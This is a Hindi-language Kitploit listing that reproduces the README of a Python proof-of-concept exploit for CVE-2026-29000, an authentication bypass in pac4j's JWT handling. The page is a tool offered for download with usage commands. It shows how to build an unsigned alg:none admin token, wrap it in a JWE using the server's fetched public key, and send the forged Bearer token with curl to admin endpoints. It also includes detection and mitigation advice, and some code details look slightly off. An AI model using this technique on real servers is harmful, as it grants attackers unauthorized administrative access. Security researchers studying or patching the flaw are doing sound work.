Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-29000 — Python POC, CVE-2026-29000 के लिए Exploit | Kitploit
उपकरण/GitHubGitHub/c0gnit00/cve-2026-29000
प्रमाणीकरण और प्राधिकरणपेलोड जनरेशनभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणक्रिप्टोग्राफीपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा
GitHubc0gnit00/cve-2026-29000

CVE-2026-29000

Python POC, CVE-2026-29000 के लिए Exploit

रिपॉजिटरी देखें
12 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-29000: pac4j JWT प्रमाणीकरण बाईपास PoC

प्रूफ ऑफ कॉन्सेप्ट CVE-2026-29000 के लिए - pac4j JWT इम्प्लीमेंटेशन में एक गंभीर प्रमाणीकरण बाईपास भेद्यता जो हमलावरों को बिना वैध हस्ताक्षर के एडमिन टोकन बनाने की अनुमति देती है।


⚠️ अस्वीकरण

यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। लेखक इस एक्सप्लॉइट के किसी भी दुरुपयोग, क्षति, या अवैध उपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।

  • कंप्यूटर सिस्टम तक अनधिकृत पहुंच अधिकांश क्षेत्राधिकारों में अवैध है
  • उपयोगकर्ताओं को परीक्षण से पहले स्पष्ट लिखित अनुमति प्राप्त करनी होगी
  • लेखक इस टूल के दुरुपयोग से उत्पन्न किसी भी परिणाम के लिए उत्तरदायी नहीं है
  • यह एक सुरक्षा अनुसंधान और शैक्षिक टूल है - नैतिक और कानूनी रूप से उपयोग करें

📋 भेद्यता अवलोकन

यह भेद्यता pac4j के JWT प्रमाणीकरण तंत्र में एक दोष का शोषण करती है जहां लाइब्रेरी:

  1. JWT हेडर में alg: "none" के साथ बिना हस्ताक्षर वाले टोकन स्वीकार करती है
  2. आंतरिक JWT हस्ताक्षर को ठीक से सत्यापित किए बिना JWE-लिपटे टोकन पर भरोसा करती है
  3. बिना हस्ताक्षर वाले पेलोड में कस्टम दावों के माध्यम से भूमिका उन्नयन की अनुमति देती है

एक हमलावर मनमाने दावों (जैसे role: "ROLE_ADMIN") के साथ एक बिना हस्ताक्षर वाला JWT बना सकता है, इसे सर्वर की सार्वजनिक कुंजी का उपयोग करके JWE कंटेनर में एन्क्रिप्ट कर सकता है, और एडमिन कार्यक्षमताओं तक अनधिकृत पहुंच प्राप्त कर सकता है।


🎯 सफल शोषण के लिए पूर्वापेक्षाएँ

सर्वर-साइड आवश्यकताएँ

इस एक्सप्लॉइट के सफल होने के लिए, लक्ष्य सर्वर को निम्नलिखित सभी शर्तों को पूरा करना होगा:

1. सुलभ JWKS एंडपॉइंट

सर्वर को अपनी सार्वजनिक कुंजियाँ इनमें से किसी एक एंडपॉइंट के माध्यम से उजागर करनी चाहिए:

  • /.well-known/jwks.json (मानक OAuth/OIDC एंडपॉइंट)
  • /api/auth/jwks (कस्टम एंडपॉइंट)

क्यों: एक्सप्लॉइट जाली JWE टोकन को एन्क्रिप्ट करने के लिए सर्वर की सार्वजनिक कुंजी स्वचालित रूप से प्राप्त करता है।

2. JWT ROLE दावा स्वीकृति

सर्वर को यह करना होगा:

  • JWT पेलोड में role दावे को स्वीकार और संसाधित करना
  • कम से कम एक विशेषाधिकार स्तर होना जो उन्नत पहुंच प्रदान करता है (जैसे, ROLE_ADMIN)
  • JWT हस्ताक्षर सत्यापित नहीं करना या बिना हस्ताक्षर वाले टोकन की अनुमति देना

सामान्य भूमिकाएँ:

  • ROLE_ADMIN - पूर्ण एडमिनिस्ट्रेटिव पहुंच
  • ROLE_USER - मानक उपयोगकर्ता पहुंच
  • एप्लिकेशन के आधार पर कस्टम भूमिकाएँ

3. JWE टोकन प्रोसेसिंग

सर्वर को यह करना होगा:

  • JWE (एन्क्रिप्टेड) टोकन को वैध प्रमाणीकरण के रूप में स्वीकार करना
  • आंतरिक बिना हस्ताक्षर वाले JWT को डिक्रिप्ट और संसाधित करना
  • आंतरिक JWT के हस्ताक्षर को सत्यापित नहीं करना या एल्गोरिथ्म की जाँच नहीं करना

4. असुरक्षित pac4j कॉन्फ़िगरेशन

एप्लिकेशन को pac4j का उपयोग इनके साथ करना चाहिए:

  • एल्गोरिथ्म "none" पर सेट या अपर्याप्त एल्गोरिथ्म सत्यापन
  • JWE एन्क्रिप्शन सक्षम लेकिन आंतरिक JWT पर हस्ताक्षर सत्यापन अक्षम
  • JWE डिक्रिप्शन से परे कोई अतिरिक्त टोकन सत्यापन नहीं

🛠️ इंस्टॉलेशन

आवश्यकताएँ

  • Python 3.7+
  • आवश्यक पैकेज: requests, jwcrypto

सेटअप

root@kitploit:~
# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000

# Install dependencies
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests>=2.28.0
jwcrypto>=1.4.0

🚀 उपयोग

बेसिक उपयोग

root@kitploit:~
python3 exploit.py <TARGET_URL>

उदाहरण:

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080

स्क्रिप्ट यह करेगी:

  1. मानक एंडपॉइंट से JWKS प्राप्त करने का प्रयास करें
  2. role: "ROLE_ADMIN" के साथ एक बिना हस्ताक्षर वाला JWT उत्पन्न करें
  3. इसे सर्वर की सार्वजनिक कुंजी का उपयोग करके एन्क्रिप्ट करें
  4. प्रमाणीकरण के लिए तैयार JWE टोकन आउटपुट करें

उन्नत विकल्प

कस्टम उपयोगकर्ता नाम

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --username john

कस्टम भूमिका

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR

मैन्युअल रूप से JWKS प्रदान करें

यदि JWKS एंडपॉइंट सार्वजनिक रूप से सुलभ नहीं है, तो JWK मैन्युअल रूप से प्रदान करें:

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'

सभी विकल्पों के साथ पूर्ण उदाहरण

root@kitploit:~
python3 exploit.py http://vulnerable-app.local:8080 \
  --username hacker \
  --role ROLE_ADMIN \
  --jwk '{"keys":[{...}]}'

📤 जनरेटेड टोकन का उपयोग

एक्सप्लॉइट निम्नलिखित प्रारूप में JWE टोकन आउटपुट करता है:

root@kitploit:~
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...

प्रमाणित अनुरोध करना

संरक्षित एंडपॉइंट तक पहुंचने के लिए HTTP अनुरोधों में टोकन का उपयोग करें:

root@kitploit:~
# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
  http://vulnerable-app.local:8080/api/admin/dashboard

# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)

प्राधिकरण हेडर के साथ उदाहरण अनुरोध

root@kitploit:~
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
  http://vulnerable-app.local:8080/api/users/list

🔍 एक्सप्लॉइट कैसे काम करता है

चरण 1: बिना हस्ताक्षर वाला JWT बनाएं

root@kitploit:~
header = {"alg": "none", "type": "JWT"}
payload = {
    "sub": "admin",              # Username
    "role": "ROLE_ADMIN",        # Privilege level
    "iss": "principal-platform", # Issuer
    "iat": 1234567890,          # Issued at
    "exp": 1234571490           # Expiration (1 hour)
}

JWT बिना हस्ताक्षर (alg: "none") के साथ बनाया गया है, जो सामान्य रूप से अमान्य है लेकिन असुरक्षित सर्वर द्वारा स्वीकार कर लिया जाता है।

चरण 2: सर्वर का JWKS प्राप्त करें

एक्सप्लॉइट क्वेरी करता है:

  1. /.well-known/jwks.json (OAuth/OIDC मानक)
  2. /api/auth/jwks (कस्टम एंडपॉइंट)

यह एन्क्रिप्शन के लिए आवश्यक सर्वर की RSA सार्वजनिक कुंजी प्राप्त करता है।

चरण 3: JWT को JWE के रूप में एन्क्रिप्ट करें

बिना हस्ताक्षर वाला JWT इनका उपयोग करके एन्क्रिप्ट किया जाता है:

  • एल्गोरिथ्म: RSA-OAEP-256 (असममित एन्क्रिप्शन)
  • एन्क्रिप्शन: A128GCM (प्रमाणित एन्क्रिप्शन)
  • कुंजी: सर्वर की सार्वजनिक कुंजी (छेड़छाड़ रोकता है)

यह एक JWE टोकन बनाता है जिसे सर्वर डिक्रिप्ट कर सकता है लेकिन आंतरिक हस्ताक्षर को सत्यापित नहीं करेगा।

चरण 4: टोकन का उपयोग करें

JWE टोकन Authorization हेडर में शामिल किया गया है:

root@kitploit:~
Authorization: Bearer <JWE_TOKEN>

असुरक्षित सर्वर इसे डिक्रिप्ट करता है और बिना हस्ताक्षर वाला JWT निकालता है, बिना हस्ताक्षर सत्यापित किए दावों पर भरोसा करता है।


🔐 भेद्यता श्रृंखला

root@kitploit:~
Unsigned JWT (alg:none)
         ↓
  Wraps in JWE (with server's public key)
         ↓
  Server receives JWE token
         ↓
  Server decrypts JWE
         ↓
  Extracts inner unsigned JWT
         ↓
  ❌ Server does NOT verify signature
         ↓
  ✅ Accepts claims as valid (role: ROLE_ADMIN)
         ↓
  Attacker has admin access!

⚠️ पहचान और संकेतक

भेद्यता के सर्वर-साइड संकेतक

  1. JWKS एंडपॉइंट एक्सपोज़र

    • जाँचें कि क्या /.well-known/jwks.json या /api/auth/jwks सार्वजनिक रूप से सुलभ है
  2. JWT सत्यापन लॉग

    • alg: "none" वाले टोकन स्वीकार करने वाले लॉग देखें
    • बिना हस्ताक्षर वाले टोकन स्वीकार किए जाने के बारे में चेतावनियाँ
  3. कॉन्फ़िगरेशन समीक्षा

    • जाँचें कि क्या pac4j का हस्ताक्षर सत्यापन अक्षम है
    • JWE डिक्रिप्शन सेटिंग्स सत्यापित करें

नेटवर्क संकेतक

root@kitploit:~
# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .

# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected

🛡️ शमन और उपचार

pac4j का उपयोग करने वाले डेवलपर्स के लिए

  1. हस्ताक्षर सत्यापन लागू करें

    root@kitploit:~
    // BAD - Accepts unsigned tokens
    JwtAuthenticator jwt = new JwtAuthenticator();
    jwt.setAlgorithm(null); // ❌ Vulnerable
    
    // GOOD - Requires valid signature
    JwtAuthenticator jwt = new JwtAuthenticator(publicKey);
    jwt.setAlgorithmsAllowedForSigning(Arrays.asList("RS256")); // ✅ Secure
    
  2. JWT एल्गोरिथ्म सत्यापित करें

    • alg: "none" कभी स्वीकार न करें
    • अनुमत एल्गोरिथ्मों की व्हाइटलिस्ट बनाएं (जैसे, RS256, HS256)
    • बेमेल एल्गोरिथ्म वाले टोकन अस्वीकार करें
  3. यदि आवश्यक न हो तो JWE अक्षम करें

    • यदि प्रमाणीकरण के लिए केवल JWT आवश्यक है, तो JWE रैपिंग अक्षम करें
    • यदि JWE आवश्यक है, तो आंतरिक JWT हस्ताक्षर स्वतंत्र रूप से सत्यापित करें
  4. pac4j अपडेट करें

    • सुरक्षा पैच लागू करें
    • डिफ़ॉल्ट रूप से हस्ताक्षर सत्यापन सक्षम वाले संस्करण में अपडेट करें
  5. टोकन सत्यापन परतें जोड़ें

    • टोकन समाप्ति (exp दावा) सत्यापित करें
    • जारीकर्ता (iss दावा) सत्यापित करें
    • भूमिकाओं को विश्वसनीय डेटाबेस के विरुद्ध क्रॉस-रेफरेंस करें

सिस्टम प्रशासकों के लिए

  1. JWKS एंडपॉइंट पहुंच प्रतिबंधित करें

    root@kitploit:~
    location /.well-known/jwks.json {
        allow 10.0.0.0/8;  # Internal networks only
        deny all;
    }
    
  2. प्रमाणीकरण लॉग की निगरानी करें

    • alg: "none" वाले टोकन पर अलर्ट करें
    • अप्रत्याशित स्रोतों से एडमिन भूमिका असाइनमेंट फ़्लैग करें
  3. नेटवर्क विभाजन

    • प्रमाणीकरण सर्वर को अलग करें
    • JWKS एंडपॉइंट को अधिकृत क्लाइंट तक सीमित करें
  4. नियमित सुरक्षा ऑडिट

    • pac4j कॉन्फ़िगरेशन की समीक्षा करें
    • प्रमाणीकरण तंत्र का पेनेट्रेशन परीक्षण करें

📊 परीक्षण वातावरण

असुरक्षित सेटअप उदाहरण

root@kitploit:~
@Configuration
public class SecurityConfig {
    
    @Bean
    public JwtAuthenticator jwtAuthenticator() {
        JwtAuthenticator authenticator = new JwtAuthenticator();
        // ❌ VULNERABLE: No signature verification
        authenticator.setAlgorithmsAllowedForSigning(null);
        authenticator.setJwtClaimsValidation(false);
        return authenticator;
    }
    
    @Bean
    public JWEEncrypter encrypter() {
        // Accepts JWE but doesn't verify inner JWT
        return new JWEEncrypter();
    }
}

📚 संदर्भ

  • CVE ID: CVE-2026-29000
  • प्रभावित लाइब्रेरी: pac4j (JWT मॉड्यूल)
  • हमले का वेक्टर: बिना हस्ताक्षर वाले JWT + JWE एन्क्रिप्शन के माध्यम से प्रमाणीकरण बाईपास
  • CVSS स्कोर: 9.8 (क्रिटिकल)

संबंधित संसाधन

  • pac4j GitHub Repository
  • JWT Best Practices
  • OWASP JWT Cheat Sheet

⚖️ कानूनी अस्वीकरण

यह एक्सप्लॉइट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।

कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। इस टूल का उपयोग केवल इन पर किया जाना चाहिए:

  • ऐसे सिस्टम जो आपके स्वामित्व में हैं
  • स्पष्ट लिखित अनुमति वाले सिस्टम
  • अधिकृत पेनेट्रेशन परीक्षण अनुबंध

लेखक इस टूल के कारण होने वाले दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं हैं।


📝 लाइसेंस

MIT लाइसेंस - विवरण के लिए LICENSE फ़ाइल देखें


👥 योगदान

बग मिला? सुधार हैं?

  1. रिपॉजिटरी को फोर्क करें
  2. एक फीचर ब्रांच बनाएं (git checkout -b feature/improvement)
  3. परिवर्तन कमिट करें (git commit -m 'Add improvement')
  4. ब्रांच पर पुश करें (git push origin feature/improvement)
  5. पुल रिक्वेस्ट खोलें

📞 समर्थन

समस्याओं, प्रश्नों या सुझावों के लिए:

  • GitHub पर एक इश्यू खोलें
  • pac4j का लक्ष्य संस्करण शामिल करें
  • प्रासंगिक लॉग और कॉन्फ़िगरेशन संलग्न करें

अंतिम अपडेट: मई 2026
लेखक: सुरक्षा अनुसंधान टीम
स्थिति: शैक्षिक PoC

टूल डाउनलोड करें